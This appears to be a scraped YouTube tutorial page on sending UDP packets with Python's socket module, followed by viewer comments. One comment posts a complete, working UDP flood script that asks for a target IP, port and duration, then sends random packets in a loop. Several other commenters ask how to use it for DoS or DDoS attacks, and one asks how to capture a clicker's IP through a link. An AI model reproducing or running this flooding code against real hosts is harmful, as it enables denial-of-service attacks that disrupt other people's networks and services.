How to send packets with Python Socket Module

preview_player
Показать описание
Interested in knowing the things you can do with the socket module?
Check out the Python official website here:

tags:
IP ip port socket module python Python 2.7 flooding UDP packets

Рекомендации по теме
Комментарии
Автор

Just in case you guys use python v3.0++

import socket
import random
import time

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

bytes = random._urandom(1024)

ip = input('Target IP: ')
port = int(input('Port: '))
duration = input('Number of seconds to send packets: ')
timeout = time.time() + float(duration)
sent = 0

while True:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes, (ip, port))
sent = sent + 1
print("Sent %s packet to %s through port %s"%(sent, ip, port))

zulmustaffa
Автор

can this be used for ddos? how? or is that it for ddos!

novianindy
Автор

how do i type in the blank thingy that he way typing in the print "sent (blank he says)"

reg
Автор

how would you guys create a client program in addition to this program?

DokkanDean
Автор

you need to make more tutorial videos on python these are really good.

AnnunakisReturn
Автор

What good free texts are there on this area of network and packets?

LegalTyranny
Автор

How do I do if I want to send it to a ip in a router. Btw testning it on me

igmar
Автор

I have a problem. The _urrandom thing in the random module doesn't exist.

robuxhack
Автор

Hi, I am trying to test the reliability of UDP protocol by implementing a ping server & ping client. So basically the server program will sit in an infinite loop for incoming UDP packets. Lets say if a packet comes from the client side, & if a randomized integer >=4, the server will simply modify the client's message and sends back to the client. Also the client ping program should calculate the Round Trip Time for each packet(lets say I m sending 10 packets from the client). The server will print the successful response or timeout response.

imtiazulhaque
Автор

How can we insert timestamp in the packet ?

dhruvisgr
Автор

There is an error in this code. I rectified it by putting port = int(input('Port: '))

This corrected the sock.sendto error.

Hope this helps!

SanketKamathSK
Автор

Curious to know if this actually works, will try when I get home.

prestongarvey
Автор

Can I send pictures and videos using sockets in

sanjaykandel
Автор

how do i get the blane symbols if thats what its called

ccyl
Автор

How do you program the packet to send you the IP when they click on a link?

folf
Автор

Very good and easy expalnation!
what if there are multiple connections to the system sending this packets?
How to send only selected files to some selected connections?
Is there any method that the destination system is able to reply with another IP Packet?
I know I am asking too much, but kindly let me know.

saisaketh
Автор

i want that to make a tool for dos attack

surindermalhotra
Автор

SyntaxError: unexpected EOF while parsing

cln
Автор

was, what you did a kind of dos attack for 2 sec

utkarshtiwari
Автор

I am using python 3.6 and got this error.

timeout = time.time() + duration
TypeError: unsupported operand type(s) for +: 'float' and 'str'

Any idea how to fix this.

sunnysingh